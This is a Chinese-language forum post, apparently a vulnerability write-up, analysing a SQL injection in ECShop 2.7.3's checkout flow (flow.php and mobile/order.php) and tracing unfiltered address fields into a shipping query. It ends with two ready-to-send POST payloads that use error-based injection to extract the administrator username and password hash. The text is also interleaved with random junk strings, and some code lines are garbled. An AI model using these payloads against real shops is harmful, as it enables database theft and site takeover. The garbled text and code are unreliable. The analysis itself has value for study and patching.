前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
" T7 r% \) Y g
# V- O8 V# E; D. e" c 漏洞关键文件:8 y8 q5 u U$ v) f9 `
+ }- g. i7 J( I8 O/ I+ c6 S+ j /includes/lib_order.php! ]0 n; S8 \) W; ~4 P4 Y8 H
( a/ }5 z- J3 ^5 j: a6 U. X. Y4 ~7 s: X
关键函数:
/ Q% Y# z2 O: V
# I+ m5 I( f8 J& _2 F$ t" n
- z$ N& g1 I4 {1 R; n( D: p+ Q7 D( K' O8 d8 w& @
01 function available_shipping_list($region_id_list) - ~( @! r- U$ ^ `
0 b: f) X; P0 U
02 {
, H, H5 x5 D+ } B5 z3 M
& g4 b8 D' A3 T/ j2 K03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( l, C' ]$ B2 q+ X: p" {: B+ v8 T: I0 Q3 O) @
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
- J" a) B* ~/ G& E8 n( V% z- M( U' R' m- S& o, k& W
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . * Z* ^' t+ v( A5 m% H0 R* h J
) N P" {7 z0 r7 x1 R06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
0 f9 h) i3 g% q4 C& ?. ~7 }, m; {% W, z: o! B: R, r
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. & @8 s p2 |5 U% X
+ @/ M; t0 ]" }/ f! U08 'WHERE r.region_id ' . db_create_in($region_id_list) .
) M( F5 [( W3 g& j( p" `3 E
4 P; F% R* @( J$ ~& x% Z09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; % ^6 O0 J. G' R- U% Q, s9 F4 D
' B0 N0 e3 C% [( b7 f% ~7 `2 \
10 0 f; W" |# S8 @# c1 ~7 P
% W4 U/ E+ @# J5 [
11 return $GLOBALS['db']->getAll($sql);
R. T# _: T1 x: n" Z) L/ h( p, C. @+ o! T8 p; @) n% ^
12 }
) E+ }5 ], L! B2 `/ t. v6 E5 C6 B+ L* [) ~
显然对传入的参数没有任何过滤就带入了查询语句。
& h& G; u! p3 z) Y. L 4 q% Z0 D. K& Q: b. N6 H6 K( [
下面我们追踪这个函数在flow.php中:& S4 c2 P6 n# K2 R9 J' `: i$ f, u
第531行:
+ ]/ `* A6 b2 T S
' i# y5 s# e! X8 v. i1 $shipping_list = available_shipping_list($region);
* X+ `! v# h j% E% @. s% y* C# R4 A
$ M+ n3 j* Q2 [* J* P" r
0 w$ [3 U: n$ \! g
6 J6 [* r5 L- ]4 }3 d: O- e; o
, x6 v) V' N8 _$ H; \$ X再对传入变量进行追踪:
1 C8 J6 [4 \2 l0 ?1 R
$ T% ?! Q6 P" Y, b' h, a第530行: ( r8 X2 |( M. N. L
6 w$ q$ L! [/ L: V) l; b* |6 T1 p
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
! a) r9 r$ |: S; w1 T; r0 s* @( j; v8 {# u
1 |& c& l' _7 [$ @
; N4 Y9 T! h7 L1 Q$ D. K7 N- O* O
; [3 U L7 a" ^$ E* X& x% [ B9 v. V3 V6 D" o
第473行:
3 d: v9 N# ?# i$ c
4 @! |/ \& w; q' C& E- u; p0 D1 $consignee = get_consignee($_SESSION['user_id']); 8 \0 u2 C. o: f4 V7 [* L0 H: x6 v
( \$ Q0 m* b& g7 e; J* g% ~
到了一个关键函数:- _; _/ U/ e) U
# J6 a7 t2 h1 `: {' l6 B7 v2 ]
/includes/lib_order.php
/ F% \4 u5 ?% _) c$ V8 U1 K* `9 w8 g/ y/ J2 s! T
# w: }) N3 X2 I* L" q% l9 E6 n( I! P
! A5 `- ~3 [; k- P8 e, f2 f: p( z 3 Y% f5 s: p+ v6 {# ?0 r) r. ?
6 x: I ?* ^: L& ]5 C) w
01 function get_consignee($user_id)
/ m8 j& S5 m. ^' u0 t. S7 @) p3 ?0 |8 U0 ^# }: g7 S
02 {
3 Q2 R5 {: q5 U( | Z, Z" @' {( j: p$ I1 r$ R8 j
03 if (isset($_SESSION['flow_consignee']))
" |6 r: d B' }* r0 B
2 K, [ w5 @: [/ T# m04 { , Q- P' X2 g% E1 N! p/ t' N/ Y6 N; i
$ _, l2 ^6 H8 g" s3 p4 g, w05 /* 如果存在session,则直接返回session中的收货人信息 */
) T0 }/ P, k$ t! N5 @7 g
: x8 {2 Q0 k; g1 y06
3 r3 z/ y8 ?( @; w+ d
! H- q$ ~8 S6 m! d& t/ N6 J: Y07 return $_SESSION['flow_consignee']; & R" K9 w% @4 ~4 N" M. P: B
; b1 m' P/ Y: {& P p: u
08 } ' q& x2 j, \4 K
; ]9 E& R) E v7 A) A. M
09 else
% c. O- J7 W9 v9 a- u. q7 @ L* i; k% f/ _, a( |2 A# I8 c8 @
10 {
; M7 ?9 l2 ?7 t
( u- g. s$ V2 `& K p" L11 /* 如果不存在,则取得用户的默认收货人信息 */
6 Z1 C3 M& S: W
# B5 v' ~, N/ J) R* Q12 $arr = array();
# m I/ X1 n& W2 o7 j! v
3 O$ L: j: A9 ^6 h13
9 F! U$ W* ]& d8 \ ^6 U
9 {$ O$ H- D8 z s, c14 if ($user_id > 0)
- b+ @ E% S0 O- I" P3 m/ E3 I" x# c) o; Q2 R4 ~
15 { : a8 _; ~- k/ n! i7 h. @6 H" i
# s/ A Y# W# J$ @ l: ?0 I16 /* 取默认地址 */
5 y1 |9 d" A, l' f3 G+ d( `# i9 H5 p
. D5 j7 e) X6 x8 b7 M) \, W17 $sql = "SELECT ua.*".
! Y- y) }* }& r; n% m- p5 i& C6 [- i3 N( ]% L" J) w8 w% ]% V
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. - {- e7 g/ H( q5 o5 J1 r0 N
' z. D% X: u3 @: g; p
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 3 G2 X% Z# P8 X. r9 I. [
, K6 L2 V+ z( A+ T4 ~, M+ C20 + \9 m: a) N$ a W! S
; s9 m% x/ A0 } _3 E7 g9 ]9 s21 $arr = $GLOBALS['db']->getRow($sql); 4 N4 D2 C4 i& \, ^2 t" r' y
1 b, B' x3 @1 N2 d9 ?7 @22 } + {9 p3 z: `; ?& f b
$ V( A* z7 M7 m' b) a23 : S% B1 u+ n/ P# W! d7 @3 {& D
* c7 M- Z( i' p1 ]; K
24 return $arr;
8 b6 u8 b& [6 x( \6 C( j. w* t1 b1 v Y- i8 K& W
25 }
# r6 F, {2 I g& j+ ?
; J: f7 |! J4 r26 } 8 n$ t, J* l/ p
+ R5 G3 z- V$ i8 Z {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
1 P2 l7 ?8 X% P' N1 E) L& \# D8 v4 ^- Y1 z- Y
( n$ W! \; M5 L6 O( G. d! o
) P2 P; a9 D3 p9 A关键点:' s# \ {. h* r
2 u/ E( r7 T0 b5 j3 t# Q9 I4 O6 J' E
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);4 t4 J" e4 d; _- V4 e
` G; W" \& X/ p. A这里对传入参数反转义存入$_SESSION中。
6 i5 N) s" u' e; n+ [3 P. W0 O* I+ S( z3 O) R4 R9 `
" S% p: `7 P' v/ n- W5 k v
2 u9 Z% |) T+ a* y然后看下:
" z1 Z; c# P3 r, u. L0 y0 H+ \( e* \, S9 T+ @: m& L9 c
7 Z5 k$ `4 r" G5 a' U
# t8 T1 G% P. Z
0 ], r. T! Z+ z
z3 _ U- z( y' L6 p: G5 H# i& ]01 $consignee = array( 0 Z4 W0 n5 }% h" R
( r, j% r/ }* y# Q& l02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), - v4 r6 J2 i9 J& r, Y, {
0 g1 Y1 V4 h3 G O+ Z' F; Z03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
1 g( g# y a5 a! n" \& V
9 p: ]6 h% h% q/ I04 'country' => empty($_POST['country']) ? '' _POST['country'], 5 ]* M6 Y& C/ J8 P
( j {. D, N0 c6 {" H2 c# p* p6 @05 'province' => empty($_POST['province']) ? '' _POST['province'],
* q6 L% H1 n9 P+ Z7 N" E3 s& o/ u! g8 X4 G5 z( U# p( W8 j0 L- B& s0 }
06 'city' => empty($_POST['city']) ? '' _POST['city'], 8 o4 P' ^& e' q9 z! H* X F
- D/ F! N7 }, V" C5 H. Q& N, L
07 'district' => empty($_POST['district']) ? '' _POST['district'],
% T. w' O& G6 [+ ?- p5 @
1 e; w( ]/ ?, k' C/ a08 'email' => empty($_POST['email']) ? '' _POST['email'],
" I) ^2 Q4 t6 h* k
$ y$ u! R: M/ b$ N1 {09 'address' => empty($_POST['address']) ? '' _POST['address'],
6 c, g3 w+ j8 H9 Z) H
) v/ C# D5 e8 x, V# x- M0 G- ^10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), & R7 _5 ^, S! D3 ?% M
: s$ E/ n. w6 ~* Q11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
9 v" v+ H. B1 ]6 c! y$ V: u* ^; h/ z/ H+ z
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 1 X/ [) h1 I" t, p1 R
9 O5 _6 `' B+ p# j! p( r( X9 R5 r13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
2 q8 }0 @& \& o4 u# z; L; m8 E. Q6 u) X ]# V
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 3 J7 c: F# U" y. a/ S
8 }8 c# ^( k+ |5 ~$ a# \8 U7 _6 B
15 );
9 t+ m* H3 X" \: n
8 h) \% G; h" M好了注入就这样出现了。
4 ~0 V, I6 {8 U* `; E, S2 W4 z
==================
- `) A9 ~: ~# q; k/ h, M& V P7 J9 d% b {3 T9 ~
注入测试: p- m- X2 A# R/ w h
- p' D+ {& H% E# j* \# g/ T环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)' ?3 j2 c) w" k! J( z/ |
# N) F0 ~5 ?3 p# H9 C+ |/ L0 S$ C
测试程序:ECShop_V2.7.3_UTF8_release1106
+ f) F3 V- A6 Y/ \" u4 C9 n7 d0 m
' z t1 @( R/ D/ D) T
1 R/ e+ D3 N" h$ u3 o+ L) r8 R
7 b; n8 w V3 `5 T. b" }/ @1.首先需要点击一个商品加入购物车
: c/ a5 u) M8 q/ @4 T& r, l' U2 R i. S
2.注册一个会员帐号$ a0 X+ o: E, S: f% q+ n
# q* g$ w2 r/ _, H1 R3.post提交数据
9 ?8 t6 Y; v, c% z# X1 }; [9 a5 w& s
6 q; ]; r! X$ i1 Z, h : K/ _4 @6 I& t5 W* M7 \: l
# n% g1 X# T c# D
1 http://127.0.0.1/ecshop/flow.php
' f. ]8 D1 `1 s. o, f9 Z, @( ~( }# N+ Q( J
2
& X# }% t4 V9 l- Z D% q% |" c5 }: ]# @
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
- Z% E" ~- ?. g+ r- X; V举一反三,我们根据这个漏洞我们可以继续深入挖掘:
5 q1 D# v* X) T J* G1 z4 t6 _7 P0 H4 u; e
我们搜寻关键函数function available_shipping_list(). t( i& q6 v3 j
. p" ?. n ^ T' ]- w, q! y在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
* e" q. D% E8 B. s: a" U \3 {
2 g% u6 a- n3 W3 B8 |, p8 u利用exp:: P1 F7 n' @4 @4 Z
. P% i2 @& v0 ]1 Q' D1.点击一个商品,点击购买商标( }* }+ w& {. W" a: O8 H
& [8 G4 q' C# r3 f1 m2.登录会员帐号
& Y& O a& K' m% b
( j, V! h: S6 w0 I& X3.post提交:
9 t9 n5 @+ U: F; i4 _* X0 s) l$ S4 Y1 |; G+ D% C3 _
http://127.0.0.1/ecshop/mobile/order.php
* E J) g; ^4 _ u& W5 P) i; C- g# i3 { K0 f( c
9 t. C2 r; B) W% p% X1 D6 r0 E$ D3 ]. D$ A$ F8 f( M+ R5 t5 V" E0 S& C
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 E5 D; n. {4 }+ \. _5 F, L8 G# ^* ]7 ]8 K) z5 V7 f+ C; X
|